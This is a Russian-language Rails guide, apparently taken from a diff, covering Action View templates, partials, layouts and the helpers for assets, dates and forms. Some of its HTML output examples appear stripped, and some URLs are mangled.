использовать с любой библиотекой Ruby. + +Использование Action View с Rails +--------------------------------- + +Для каждого контроллера имеется связанная директория в директории `app/views`, содержащая файлы шаблонов, в которых сверстаны вьюхи, связанные с этим контроллером. Эти файлы используются для отображения вьюхи, являющейся результатом каждого действия контроллера. + +Давайте взглянем на то, что делает Rails по умолчанию, когда создает новый ресурс с помощью генератора скаффолда: + +```bash +$ bin/rails generate scaffold article + [...] + invoke scaffold_controller + create app/controllers/articles_controller.rb + invoke erb + create app/views/articles + create app/views/articles/index.html.erb + create app/views/articles/edit.html.erb + create app/views/articles/show.html.erb + create app/views/articles/new.html.erb + create app/views/articles/_form.html.erb + [...] +``` + +В Rails имеется соглашение по именованию вьюх. Обычно имя вьюхи совпадает со связанным экшном контроллера, как вы видите выше. Например, экшн index контроллера в `articles_controller.rb` будет использовать файл вьюхи `index.html.erb` в директории `app/views/articles`. Полный HTML, возвращенный клиенту, состоит из комбинации этого файла ERB, шаблона макета, оборачивающего его, и всех партиалов, на которые вьюха может ссылаться. В этом руководстве имеется более детальное описание каждого из этих компонентов. + +Шаблоны, партиалы и макеты +-------------------------- + +Как уже упоминалось, итоговый HTML состоит из трех элементов Rails: шаблонов (`Templates`), партиалов (`Partials`) и макетов (`Layouts`). Ниже краткий обзор каждого из них. + +### Шаблоны + +Шаблоны Action View могут быть написаны несколькими способами. Если у файла шаблона расширение `.erb`, то он использует смесь ERB (Embedded Ruby) и HTML. Если у файла шаблона расширение `.builder`, то используется библиотека `Builder::XmlMarkup`. + +Rails поддерживает несколько систем шаблонирования и использует расширение файла, чтобы различать их. Например, файл HTML, использующий систему шаблонирования ERB, будет иметь расширение файла `.html.erb`. + +#### ERB + +В шаблоне ERB код Ruby может быть включен с помощью тегов `<% %>` и `<%= %>`. Теги `<% %>` используются для выполнения кода Ruby, который ничего не возвращает, такого как условия, циклы или блоки, а теги `<%= %>` используются, когда вам нужен результат выполнения. + +Рассмотрим следующий цикл для имен: + +```html+erb +

Names of all the people

+<% @people.each do |person| %> + Name: <%= person.name %>
+<% end %> +``` + +Цикл настроен с помощью обычных вложенных тегов (`<% %>`), а имя вставлено с помощью выводящих вложенных тегов (`<%= %>`). Отметьте, что это не просто совет по использованию: обычные функции для вывода, такие как `print` и `puts` не будут рендериться во вьюху в шаблонах ERB. Поэтому, так будет неправильно: + +```html+erb +<%# WRONG %> +Hi, Mr. <% puts "Frodo" %> +``` + +Чтобы запретить предварительные и завершающие пробелы можно использовать `<%-` `-%>` вместо `<%` и `%>`. + +#### Builder + +Шаблоны Builder — это более программная альтернатива ERB. Они особенно полезны для генерации содержимого в XML. Объект XmlMarkup с именем `xml` автоматически доступен в шаблонах с расширением `.builder`. + +Вот несколько простых примеров: + +```ruby +xml.em("emphasized") +xml.em { xml.b("emph & bold") } +xml.a("A Link", "href" => "http://rubyonrails.org/") +xml.target("name" => "compile", "option" => "fast") +``` + +которые создадут: + +```html +emphasized +emph & bold +A link + +``` + +Любой метод с блоком будет трактован как разметка тега XML с вложенной разметкой в блоке. Например, следующее: + +```ruby +xml.div { + xml.h1(@person.name) + xml.p(@person.bio) +} +``` + +создаст что-то вроде: + +```html +
+

David Heinemeier Hansson

+

A product of Danish Design during the Winter of '79...

+
+``` + +Ниже полноценный пример RSS, фактически используемый в Basecamp: + +```ruby +xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do + xml.channel do + xml.title(@feed_title) + xml.link(@url) + xml.description "Basecamp: Recent items" + xml.language "en-us" + xml.ttl "40" + + for item in @recent_items + xml.item do + xml.title(item_title(item)) + xml.description(item_description(item)) if item_description(item) + xml.pubDate(item_pubDate(item)) + xml.guid(@person.firm.account.url + @recent_items.url(http://github.com/item)) + xml.link(@person.firm.account.url + @recent_items.url(http://github.com/item)) + xml.tag!("dc:creator", item.author_name) if item_has_creator?(item) + end + end + end +end +``` + +#### Кэширование шаблонов + +По умолчанию Rails компилирует каждый шаблон в метод перед тем, как рендерить его. Когда вы измените шаблон в режиме development, Rails проверит время изменения файла и перекомпилирует его. + +### Партиалы + +Частичные шаблоны - обычно называемые "партиалы" - это другая схема разделения процесса рендеринга на более управляемые части. С помощью партиалов можно извлечь части кода из ваших шаблонов в отдельные файлы, а также повторно использовать их в разных шаблонах. + +#### Именование партиалов + +Чтобы отрендерить партиал как часть вьюхи, в ней используется метод `render`: + +```erb +<%= render "menu" %> +``` + +Это отрендерит файл с именем `_menu.html.erb` во вьюхе, которая рендерится. Обратите внимание на первый символ подчеркивания: партиалы именуются, начинаясь с подчеркивания, чтобы отличить их от обычных вьюх, хотя к ним и обращаются без подчеркивания. Это истинно даже если вы вставляете партиал из другой директории: + +```erb +<%= render "shared/menu" %> +``` + +Этот код вставит партиал из `app/views/shared/_menu.html.erb`. + +#### Использование партиалов для упрощения вьюх + +Одним из способов использования явялется трактовка их как эквивалент подпрограмм; способ выноса подробностей из вьюхи, чтобы можно было проще понять, что происходит. Например, у вас может быть такая вьюха: + +```html+erb +<%= render "shared/ad_banner" %> + +

Products

+ +

Here are a few of our fine products:

+<% @products.each do |product| %> + <%= render partial: "product", locals: {product: product} %> +<% end %> + +<%= render "shared/footer" %> +``` + +Тут партиалы `_ad_banner.html.erb` и `_footer.html.erb` могут содержать код, разделяемый между несколькими страницами вашего приложения. Вам не нужно знать подробности этих разделов, чтобы сконцентрироваться на определенной странице. + +#### `render` без опций `partial` и `locals` + +В вышеприведенном примере `render` принимает 2 опции: `partial` и `locals`. Но если это единственные опции, которые нужно передать, их можно опустить. например, вместо: + +```erb +<%= render partial: "product", locals: {product: @product} %> +``` + +Можно сделать: + +```erb +<%= render "product", product: @product %> +``` + +#### Опции `as` и `object` + +По умолчанию у `ActionView::Partials::PartialRenderer` есть собственный объект в локальной переменной с тем же именем, как у шаблона. Так, если имеем: + +```erb +<%= render partial: "product" %> +``` + +в product мы получим `@product` в локальной переменной `product`, как будто мы написали: + +```erb +<%= render partial: "product", locals: {product: @product} %> +``` + +С помощью опции `as` можно указать другое имя для локальной переменной. Например, если мы хотим, чтобы она была `item` вместо `product`, можно сделать: + +```erb +<%= render partial: "product", as: "item" %> +``` + +Опцию `object` можно использовать, чтобы непостредственно указать, какой объект рендирится в партиале; полезно, когда объект шаблна находится где-то еще (например, в другой переменной экземпляра или в локальной переменной). + +Например, вместо: + +```erb +<%= render partial: "product", locals: {product: @item} %> +``` + +можно сделать: + +```erb +<%= render partial: "product", object: @item %> +``` + +Опции `object` и `as` можно использовать вместе: + +```erb +<%= render partial: "product", object: @item, as: "item" %> +``` + +#### Рендеринг коллекций + +Часто бывает, что шаблону нужно пройтись по коллекции и отрендерить подшаблон для каждого элемента. Этот паттерн был реализован как отдельный метод, принимающий массив и рендерящий партиал для каждого элемента массива. + +Поэтому такой пример для рендеринга всех продуктов: + +```erb +<% @products.each do |product| %> + <%= render partial: "product", locals: { product: product } %> +<% end %> +``` + +может быть переписан с помощью одной строчки: + +```erb +<%= render partial: "product", collection: @products %> +``` + +Когда партиал вызвается с коллекцией, у отдельных экземпляров партиалов есть доступ к рендерящемуся члену коллекции через переменную с именем партиала. В данном случае партиал `_product`, и в нем можно обратиться к `product`, чтобы получить члена коллекции, который рендерится. + +Для рендеринга коллекций можно использовать сокращенный синтаксис. Предположим, `@products` — это коллекция экземпляров `Product`, тогда можно просто написать следующее, чтобы получить тот же самый результат: + +```erb +<%= render @products %> +``` + +Rails определяет имя используемого партиала по имени модели в коллекции, в данном случае `Product`. Фактически с помощью этого сокращенного синтаксиса можно рендерить коллекцию, состоящую из экземпляров различных моделей, и Rails выберет подходящий партиал для каждого члена коллекции. + +#### Spacer Templates + +Также можете определить второй партиал, который будет отрендерен между экземплярами главного партиала, используя опцию `:spacer_template`: + +```erb +<%= render partial: @products, spacer_template: "product_ruler" %> +``` + +Rails отрендерит партиал `_product_ruler` (без переданных в него данных) между каждой парой партиалов `_product`. + +### Макеты + +Макеты могут быть использованы для рендеринга общего шаблона вокруг результатов экшна контроллера Rails. Обычно в приложении Rails будет несколько макетов, в которых будут рендериться страницы. Например, на сайте может быть один макет для вошедшего пользователя и другой для маркетинга и продаж. Макет для вошедшего пользователя может включать навигацию верхнего уровня, которая должна присутствовать во многих экшнах контроллера. Макет для продаж для приложения SaaS может включать верхенуровневую навигацию для таких вещей как страницы "Pricing" и "Contact Us". Ожидается, что кадый макет должен выглядеть по разному. Подробнее о макетах можно прочитать в руководстве [Макеты и рендеринг в Rails](/layouts-and-rendering-in-rails). + +Макеты партиалов +---------------- + +У партиалов могут быть собственные макеты, применимые к ним. Эти макеты отличаются от тех. которые применяются к экшну контроллера, ъотя они работают подобным образом. + +Допустим, мы отображаем статью на странице, которая должна быть обернута в `div` для целей отображения. Сначала мы создадим новую `Article`: + +```ruby +Article.create(body: 'Partial Layouts are cool!') +``` + +В шаблоне `show` мы отрендерим партиал `_article`, обернутый в макет `box`: + +**articles/show.html.erb** + +```erb +<%= render partial: 'article', layout: 'box', locals: {article: @article} %> +``` + +Макет `box` просто оборачивает партиал `_article` в `div`: + +**articles/_box.html.erb** + +```html+erb +
+ <%= yield %> +
+``` + +Партиал `_article` оборачивает `body` статьи в `div` с `id` статьи с помощью хелпера `div_for`: + +**articles/_article.html.erb** + +```html+erb +<%= div_for(article) do %> +

<%= article.body %>

+<% end %> +``` + +что отобразит следующее: + +```html +
+
+

Partial Layouts are cool!

+
+
+``` + +Отметьте, что у макета партиала есть доступ к локальной переменной `article`, переданной в вызов `render`. Однако, в отличие от макетов приложения, макеты партиалов должны начинаться с подчеркивания. + +Также можно отрендерить блок кода в макете партиала вместо вызова `yield`. Например, если у нас нет партиала `_article`, вместо него можно использовать это: + +**articles/show.html.erb** + +```html+erb +<% render(layout: 'box', locals: {article: @article}) do %> + <%= div_for(article) do %> +

<%= article.body %>

+ <% end %> +<% end %> +``` + +Предположив, что мы используем тот же партиал `_box`, мы получим тот же результат, что и в предыдущем примере. + +Пути вьюх +--------- + +TODO... + +Обзор хелперов, предоставленных Action View +------------------------------------------- + +WIP: Тут перечислены не все хелперы. За полным списком можно обратиться к [документаци API](http://api.rubyonrails.org/classes/ActionView/Helpers.html) + +Нижеследующее является лишь кратким обзоров хелперов, доступных в Action View. Рекомендуется обратиться к [документации API](http://api.rubyonrails.org/classes/ActionView/Helpers.html), покрывающей все хелперы более подробнее, но оно является хороше отправной точкой. + +### AssetTagHelper + +Этот модуль предоставляет методы для генерации HTML, связывающего вьюхи с ресурсами, такими как картинки, файлы JavaScript, таблицы стилей и новостные ленты. + +По умолчанию Rails связыает с ресурсами на текущем хосте в папке public, но можно направить Rails связывать с ресурсами на выделенном сервере ресурсов, установив `config.action_controller.asset_host` в конфигурации приложения, обычно в `config/environments/production.rb`. Например, допустим хост ваших ресурсов `assets.example.com`: + +```ruby +config.action_controller.asset_host = "assets.example.com" +image_tag("rails.png") # => Rails +``` + +#### register_javascript_expansion + +Регистрирует один или более файлов JavaScript, чтобы их можно было подключить с помощью символа при передаче в javascript_include_tag. Этот метод обычно предназначен для вызова из инициализации плагинов для регистрации файлов JavaScript, которые плагин устанавливает в `vendor/assets/javascripts`. + +```ruby +ActionView::Helpers::AssetTagHelper.register_javascript_expansion monkey: ["head", "body", "tail"] + +javascript_include_tag :monkey # => + + + +``` + +#### register_stylesheet_expansion + +Регистрирует один или более файлов таблицы стилей, чтобы их можно было подключить с помощью символа при передаче в `stylesheet_link_tag`. Этот метод обычно предназначен для вызова из инициализации плагинов для регистрации файлов таблицы стилей, которые плагин устанавливает в `vendor/assets/stylesheets`. + +```ruby +ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion monkey: ["head", "body", "tail"] + +stylesheet_link_tag :monkey # => + + + +``` + +#### auto_discovery_link_tag + +Возвращает тег ссылки, которую могут использовать браузеры и агрегаторы новостей для автоматического определения RSS или ленту Atom. + +```ruby +auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # => + +``` + +#### image_path + +Вычисляет путь до ресурса картинки в директории `app/assets/images`. Будут переданы полные пути от корня документа. Используется внутренне `image_tag` для создания пути к картинке. + +```ruby +image_path("edit.png") # => /assets/edit.png +``` + +К имени файла будет добавлена метка, если config.assets.digest установлен true. + +```ruby +image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png +``` + +#### image_url + +Вычисляет url ресурса картинки в директории `app/assets/images`. Он вызовет `image_path` и соединит с вашим текущим хостом или хостом ресурсов. + +```ruby +image_url("http://github.com/edit.png") # => http://www.example.com/assets/edit.png +``` + +#### image_tag + +Возвращает тег картинки HTML для источника. Источником может быть полный путь или файл, существующий в директории `app/assets/images`. + +```ruby +image_tag("icon.png") # => Icon +``` + +#### javascript_include_tag + +Возвращает тег скрипта HTML для каждого представленного источника. Можно передать имя файла (расширение `.js` опционально) или файлы JavaScript, существующие в директории `app/assets/javascripts` для включения на текущую страницу, или передать полный путь относительно корня документа. + +```ruby +javascript_include_tag "common" # => +``` + +Если приложение не использует файлопровод, чтобы включить JavaScript библиотеку jQuery, передайте `:defaults` как источник. При использовании `:defaults`, если существует `application.js` в директории `app/assets/javascripts`, он также будет включен. + +```ruby +javascript_include_tag :defaults +``` + +Также можно включить все файлы JavaScript в директории `app/assets/javascripts` с помощью `:all` в качестве источника. + +```ruby +javascript_include_tag :all +``` + +Также можно кэшировать несколько файлов JavaScript в один файл, что требует меньше соединений HTTP для скачивания и может быть лучше сжато gzip (что сделает передачу быстрее). Кэширование произойдет, только если `ActionController::Base.perform_caching` установлена true (по умолчанию для окружения production, но не для development). + +```ruby +javascript_include_tag :all, cache: true # => + +``` + +#### javascript_path + +Вычисляет путь до ресурса JavaScript в директории `app/assets/javascripts`. Если у имени файла источника нет расширения, будет добавлено `.js`. Будут переданы полные пути от корня документа. Используется внутренне `javascript_include_tag` для создания пути к скрипту. + +```ruby +javascript_path "common" # => /assets/common.js +``` + +#### javascript_url + +Вычисляет url ресурса JavaScript в директории `app/assets/javascripts`. Он вызовет `javascript_path` и соединит с вашим текущим хостом или хостом ресурсов. + +```ruby +javascript_url "common" # => http://www.example.com/assets/common.js +``` + +#### stylesheet_link_tag + +Возвращает тег ссылки та таблицу стилей для каждого представленного источника. Если не указать расширение, автоматически будет добавлено `.css`. + +```ruby +stylesheet_link_tag "application" # => +``` + +Также можно включить все стили из директории стилей, используя :all в качестве источника: + +```ruby +stylesheet_link_tag :all +``` + +Также можно кэшировать несколько таблиц стилей в один файл, что требует меньше соединений HTTP для скачивания и может быть лучше сжато gzip (что сделает передачу быстрее). Кэширование произойдет, только если `ActionController::Base.perform_caching` установлена true (по умолчанию для окружения production, но не для development). + +```ruby +stylesheet_link_tag :all, cache: true +# => +``` + +#### stylesheet_path + +Вычисляет путь до ресурса таблицы стилей в директории `app/assets/stylesheets`. Если у имени файла источника нет расширения, будет добавлено `.css`. Будут переданы полные пути от корня документа. Используется внутренне `stylesheet_link_tag` для создания пути к ьаблице стилей. + +```ruby +stylesheet_path "application" # => /assets/application.css +``` + +#### stylesheet_url + +Вычисляет url ресурса таблицы стилей в директории `app/assets/stylesheets`. Он вызовет `stylesheet_path` и соединит с вашим текущим хостом или хостом ресурсов. + +```ruby +stylesheet_url "application" # => http://www.example.com/assets/application.css +``` + +### AtomFeedHelper + +#### atom_feed + +Этот хелпер позволяет с легкостью создать новостную ленту Atom. Вот пример полного использования: + +**config/routes.rb** + +```ruby +resources :articles +``` + +**app/controllers/articles_controller.rb** + +```ruby +def index + @articles = Article.all + + respond_to do |format| + format.html + format.atom + end +end +``` + +**app/views/articles/index.atom.builder** + +```ruby +atom_feed do |feed| + feed.title("Articles Index") + feed.updated((@articles.first.created_at)) + + @articles.each do |article| + feed.entry(article) do |entry| + entry.title(article.title) + entry.content(article.body, type: 'html') + + entry.author do |author| + author.name(article.author_name) + end + end + end +end +``` + +### BenchmarkHelper + +#### benchmark + +Позволяет измерить время выполнения блока в шаблоне и записать результат в лог. Оберните этот блок вокруг затратных операций или потенциальных узких мест, чтобы получить время чтения для операций. + +```html+erb +<% benchmark "Process data files" do %> + <%= expensive_files_operation %> +<% end %> +``` + +Это добавит в лог что-то вроде "Process data files (0.34523)", затем это можно использовать для сравнения времени при оптимизации кода. + +### CacheHelper + +#### cache + +Метод для кэширования фрагмента вьюхи, в отличие от целого экшна или страницы. Эта техника полезна для кэширования кусочков, таких как меню, списки заголовков, статичные фрагменты HTML и так далее. Этот метод принимает блок, содержащий код, который вы хотите закэшировать. Подробности смотрите в `ActionController::Caching::Fragments`. + +```erb +<% cache do %> + <%= render "shared/footer" %> +<% end %> +``` + +### CaptureHelper + +#### capture + +Метод `capture` позволяет извлечь часть шаблона в переменную. Эту переменную потом можно использовать в любом месте шаблона или макета. + +```html+erb +<% @greeting = capture do %> +

Welcome! The date and time is <%= Time.now %>

+<% end %> +``` + +Захваченная переменная может быть где-то использована. + +```html+erb + + + Welcome! + + + <%= @greeting %> + + +``` + +#### content_for + +Вызов `content_for` сохраняет блок разметки как идентификатор для дальнейшего использования. Можно сделать позледующие вызовы сохраненного содержимого в других шаблонах или макете, передав идентификатор в качестве аргумента в `yield`. + +Например, скажем у нас есть стандартный макет приложения, но также есть специальная страница, требующая определенный JavaScript, который не требуется на остальном сайте. Можно использовать `content_for`, чтобы включить этот JavaScript на нашу специальную страницу без влияния на оставшуюся часть сайта. + +**app/views/layouts/application.html.erb** + +```html+erb + + + Welcome! + <%= yield :special_script %> + + +

Welcome! The date and time is <%= Time.now %>

+ + +``` + +**app/views/articles/special.html.erb** + +```html+erb +

This is a special page.

+ +<% content_for :special_script do %> + +<% end %> +``` + +### DateHelper + +#### date_select + +Возвращает набор тегов select (по одному для года, месяца и дня), предзаполненных для доступа к определенному атрибуту даты. + +```ruby +date_select("article", "published_on") +``` + +#### datetime_select + +Возвращает набор тегов select (по одному для года, месяца, дня, часа и минуты), предзаполненных для доступа к определенному атрибуту даты-времени. + +```ruby +datetime_select("article", "published_on") +``` + +#### distance_of_time_in_words + +Возвращает приблизительный промежуток времени между двумя объектами Time или Date или числами-секундами. Установите `include_seconds` в true, если хотите более детальное приближение. + +```ruby +distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than a minute +distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true) # => less than 20 seconds +``` + +#### select_date + +Возвращает набор тегов HTML select (по одному для года, месяца и дня), предзаполненных предоставленной `date`. + +```ruby +# Создает select для даты со предоставленной датой как значение по умолчанию (шесть дней от сегодня) +select_date(Time.today + 6.days) + +# Создает select для даты с сегодняшней датой как значение по умолчанию (без аргумента) +select_date() +``` + +#### select_datetime + +Возвращает набор тегов HTML select (по одному для года, месяца, дня, часа и минуты), предзаполненных предоставленным `datetime`. + +```ruby +# Создает select для datetime со предоставленным значением по умолчанию (четыре дня от сегодня) +# Generates a datetime select that defaults to the datetime provided (four days after today) +select_datetime(Time.now + 4.days) + +# Создает select для datetime с сегодняшней датой как значение по умолчанию (без аргумента) +select_datetime() +``` + +#### select_day + +Возвращает тег select с опциями для каждого дня с 1 до 31 с выбранным текущим днем. + +```ruby +# Создает поле select для дней с предоставленной датой как значение по умолчанию +select_day(Time.today + 2.days) + +# Создает поле select для дней с данным числом как значение по умолчанию +select_day(5) +``` + +#### select_hour + +Возвращает тег select с опциями для каждого часа с 0 до 23 с выбранным текущим часом. + +```ruby +# Создает поле select для часов с предоставленным временем как значение по умолчанию +select_hour(Time.now + 6.hours) +``` + +#### select_minute + +Возвращает тег select с опциями для каждой минуты с 0 до 59 с выбранной текущей минутой. + +```ruby +# Создает поле select для минут с предоставленным временем как значение по умолчанию +select_minute(Time.now + 6.hours) +``` + +#### select_month + +Возвращает тег select с опциями для каждого месяца с January до December с выбранным текущим месяцем. + +```ruby +# Создает поле select для месяцев с текущим месяцем как значение по умолчанию +select_month(Date.today) +``` + +#### select_second + +Возвращает тег select с опциями для каждой секунды с 0 до 59 с выбранной текущей секундой. + +```ruby +# Создает поле select для секунд с предоставленным временем как значение по умолчанию +select_second(Time.now + 16.minutes) +``` + +#### select_time + +Возвращает набор тегов HTML select (по одному для часа и минуты). + +```ruby +# Создает поля select с предоставленным временем как значение по умолчанию +select_time(Time.now) +``` + +#### select_year + +Возвращает тег select с опциями для каждой пяти лет от и до выбранного текущего. Пятилетний радиус может быть изменен с помощью опциональных ключей `:start_year` и `:end_year`. + +```ruby +# Создает поле select для пяти лет в обе стороны от Date.today, являющаяся значением по умолчанию для текущего года +select_year(Date.today) + +# Создает поле select от 1900 до 2016 со значением по умолчанию текущим годом +select_year(Date.today, start_year: 1900, end_year: 2016) +``` + +#### time_ago_in_words + +Подобен `distance_of_time_in_words`, где `to_time` установлен `Time.now`. + +```ruby +time_ago_in_words(3.minutes.from_now) # => 3 minutes +``` + +#### time_select + +Возвращает набор тегов select (по одному для часа, минуты и, опционально, секунды), предзаполненных для доступа к определенному атрибуту времени. Селекты подготовлены к многопараметровому назначению в объекте Active Record. + +```ruby +# Создает тег select для времени, который при POST будет сохранен в переменную order отправленного атрибута +time_select("order", "submitted") +``` + +### DebugHelper + +Возвращает тег `pre` с объектом, выгруженным в YAML. Это создает удобочитаемый способ просмотра объекта. + +```ruby +my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]} +debug(my_hash) +``` + +```html +
---
+first: 1
+second: two
+third:
+- 1
+- 2
+- 3
+
+``` + +### FormHelper + +Хелперы форм разработаны для более простой работы с моделями, по сравнению со стандартными элементами HTML, представляя набор методов для создания форм на основе ваших моделей. Этот хелпер создает HTML для форм, представляя метод для каждого типа полей (т.е. text, password, select и так далее). Когда форма подтверждается (т.е. когда пользователь нажимает кнопку подтверждения или form.submit вызывается в JavaScript), поля формы будут встроены в объект params и переданы в контроллер. + +Имеется два типа хелперов форм: те, которые работают с атрибутами модели, и те, которые нет. Этот хелпер имеет дело с теми, которые работают с атрибутами; чтобы посмотреть примеры хелперов форм, которые не работают с атрибутами модели, обратитесь к документации ActionView::Helpers::FormTagHelper. + +Основной метод этого хелпера, form_for, дает возможность создавать форму для экземпляра модели; например, допустим, что имеется модель Person, и мы хотим создать ее новый экземпляр: + +```html+erb +# Note: переменная @person была создана в контроллере (т.е. @person = Person.new) +<%= form_for @person, url: {action: "create"} do |f| %> + <%= f.text_field :first_name %> + <%= f.text_field :last_name %> + <%= submit_tag 'Create' %> +<% end %> +``` + +Созданным HTML будет: + +```html +
+ + + +
+``` + +Объект params, созданный после отправки этой формы, будет выглядеть так: + +```ruby +{"action" => "create", "controller" => "people", "person" => {"first_name" => "William", "last_name" => "Smith"}} +``` + +В хэше params будет вложенное значение person, к которому можно получить доступ в контроллере с помощью params[:person]. + +#### check_box + +Возвращает тэг чекбокса с учетом доступа к определенному атрибуту. + +```ruby +# Допустим, что @article.validated? равен 1: +check_box("article", "validated") +# => +# +``` + +#### fields_for + +Создает пространство имен вокруг определенного объекта модели наподобие form_for, но не создает сами теги формы. Это делает fields_for подходящим для указания дополнительных объектов модели в той же форме: + +```html+erb +<%= form_for @person, url: {action: "update"} do |person_form| %> + First name: <%= person_form.text_field :first_name %> + Last name : <%= person_form.text_field :last_name %> + + <%= fields_for @person.permission do |permission_fields| %> + Admin? : <%= permission_fields.check_box :admin %> + <% end %> +<% end %> +``` + +#### file_field + +Возвращает поле для загрузки файла с учетом доступа к определенному атрибуту. + +```ruby +file_field(:user, :avatar) +# => +``` + +#### form_for + +Создает форму и пространстов имен вокруг определенного объекта модели, используемого как основа для запроса значений для полей. + +```html+erb +<%= form_for @article do |f| %> + <%= f.label :title, 'Title' %>: + <%= f.text_field :title %>
+ <%= f.label :body, 'Body' %>: + <%= f.text_area :body %>
+<% end %> +``` + +#### hidden_field + +Возвращает тег скрытого поля с учетом доступа к определенному атрибуту. + +```ruby +hidden_field(:user, :token) +# => +``` + +#### label + +Возвращает тег label с учетом поля воода для определенного атрибута. + +```ruby +label(:article, :title) +# => +``` + +#### password_field + +Возвращает тег input типа "password" с учетом доступа к определенному атрибуту.. + +```ruby +password_field(:login, :pass) +# => +``` + +#### radio_button + +Возвращает тег радио конпки с учетом доступа к определенному атрибуту. + +```ruby +# Let's say that @article.category returns "rails": +radio_button("article", "category", "rails") +radio_button("article", "category", "java") +# => +# +``` + +#### text_area + +Возвращает набор открывающего и закрывающего тега textarea с учетом доступа к определенному атрибуту. + +```ruby +text_area(:comment, :text, size: "20x30") +# => +``` + +#### text_field + +Возвращает тег input типа "text" с учетом доступа к определенному атрибуту. + +```ruby +text_field(:article, :title) +# => +``` + +#### email_field + +Возвращает тег input типа "email" с учетом доступа к определенному атрибуту. + +```ruby +email_field(:user, :email) +# => +``` + +#### url_field + +Возвращает тег input типа "url" с учетом доступа к определенному атрибуту. + +```ruby +url_field(:user, :url) +# => +``` + +### FormOptionsHelper + +Представляет ряд методов для превращения различного рода контейнеров в набор тегов option. + +#### collection_select + +Возвращает теги `select` и `option` для коллекции значений, возвращаемых `method` для класса `object`. + +Пример структуры объекта для использования с этим методом: + +```ruby +class Article < ActiveRecord::Base + belongs_to :author +end + +class Author < ActiveRecord::Base + has_many :articles + def name_with_initial + "#{first_name.first}. #{last_name}" + end +end +``` + +Пример использования (выбор связанного Author для экземпляра Article, `@article`): + +```ruby +collection_select(:article, :author_id, Author.all, :id, :name_with_initial, {prompt: true}) +``` + +Если `@article.author_id` — 1, это вернет: + +```html + +``` + +#### collection_radio_buttons + +Возвращает теги `radio_button` для коллекции значений, возвращаемых `method` для класса `object`. + +Пример структуры объекта для использования с этим методом: + +```ruby +class Article < ActiveRecord::Base + belongs_to :author +end + +class Author < ActiveRecord::Base + has_many :articles + def name_with_initial + "#{first_name.first}. #{last_name}" + end +end +``` + +Пример использования (выбор связанного Author для экземпляра Article, `@article`): + +```ruby +collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial) +``` + +Если `@article.author_id` — 1, это вернет: + +```html + + + + + + +``` + +#### collection_check_boxes + +Возвращает теги `check_box` для коллекции значений, возвращаемых `method` для класса `object`. + +Пример структуры объекта для использования с этим методом: + +```ruby +class Article < ActiveRecord::Base + has_and_belongs_to_many :authors +end + +class Author < ActiveRecord::Base + has_and_belongs_to_many :articles + def name_with_initial + "#{first_name.first}. #{last_name}" + end +end +``` + +Пример использования (выбор связанного Author для экземпляра Article, `@article`): + +```ruby +collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initial) +``` + +Если `@article.author_id` — [1], это вернет: + + +```html + + + + + + + +``` + +#### country_options_for_select + +Возвращает строку из тегов option с практически всеми странами мира. + +#### country_select + +Возвращает теги select и option для заданного объекта и метода, с помощью country_options_for_select для создания списка тегов option. + +#### option_groups_from_collection_for_select + +Возвращает строку с тегами `option`, подобно `options_from_collection_for_select`, но группирует их тегами `optgroup` на основе отношений аргументов. + +Пример структуры объекта для использования с этим методом: + +```ruby +class Continent < ActiveRecord::Base + has_many :countries + # attribs: id, name +end + +class Country < ActiveRecord::Base + belongs_to :continent + # attribs: id, name, continent_id +end +``` + +Пример использования: + +```ruby +option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3) +``` + +Возможный результат: + +```html + + + + ... + + + + + + ... + +``` + +Note: Возвращаются только теги `optgroup` и `option`, вам все еще нужно обернуть результат в подходящий тег `select`. + +#### options_for_select + +Принимает контейнер (hash, array, enumerable, ваш тип) и возвращает строку тегов option. + +```ruby +options_for_select([ "VISA", "MasterCard" ]) +# => +``` + +Note: Возвращаются только теги `option`, вам все еще нужно обернуть результат в обычный тег HTML `select`. + +#### options_from_collection_for_select + +Возвращает строку тегов option, собранную с помощью итерации по `collection` и назначая результат вызова `value_method` как значение option и `text_method` как текст option. + +```ruby +# options_from_collection_for_select(collection, value_method, text_method, selected = nil) +``` + +Например, представим цикл, проходящий по каждому человеку в @project.people для создания тега ввода: + +```ruby +options_from_collection_for_select(@project.people, "id", "name") +# => +``` + +Note: Возвращаются только теги `option`, вам все еще нужно обернуть результат в обычный тег HTML `select`. + +#### select + +Создает тег select и ряд связанных тегов option дле предоставленного объекта и метода. + +Пример: + +```ruby +select("article", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: true}) +``` + +Если `@article.person_id` — 1, это выдаст: + +```html + +``` + +#### time_zone_options_for_select + +Возвращает строгу тегов option для практически всех временных зон мира. + +#### time_zone_select + +Возвращает теги select и option для заданного объекта и метода с помощью `time_zone_options_for_select` для создания списка тегов option. + +```ruby +time_zone_select( "user", "time_zone") +``` + +#### date_field + +Создает тег input типа "date", созданного с учетом доступа к определенному атрибуту. + +```ruby +date_field("user", "dob") +``` + +### FormTagHelper + +Представляет ряд методов для создания тегов форм, не полагающихся на объект Active Record, назначенного шаблону, как делает FormHelper. Вместо этого вы предоставляете имена и значения вручную. + +#### check_box_tag + +Создает поле ввода в форму в виде чек-бокса. + +```ruby +check_box_tag 'accept' +# => +``` + +#### field_set_tag + +Создает fieldset для группировки элементов форм HTML. + +```html+erb +<%= field_set_tag do %> +

<%= text_field_tag 'name' %>

+<% end %> +# =>

+``` + +#### file_field_tag + +Создает поле загрузки файла. + +```html+erb +<%= form_tag({action:"post"}, multipart: true) do %> + <%= file_field_tag "file" %> + <%= submit_tag %> +<% end %> +``` + +Примерный результат: + +```ruby +file_field_tag 'attachment' +# => +``` + +#### form_tag + +Начинает тег form, указывающий action url, настроенный с помощью `url_for_options`, как в `ActionController::Base#url_for`. + +```html+erb +<%= form_tag '/articles' do %> +
<%= submit_tag 'Save' %>
+<% end %> +# =>
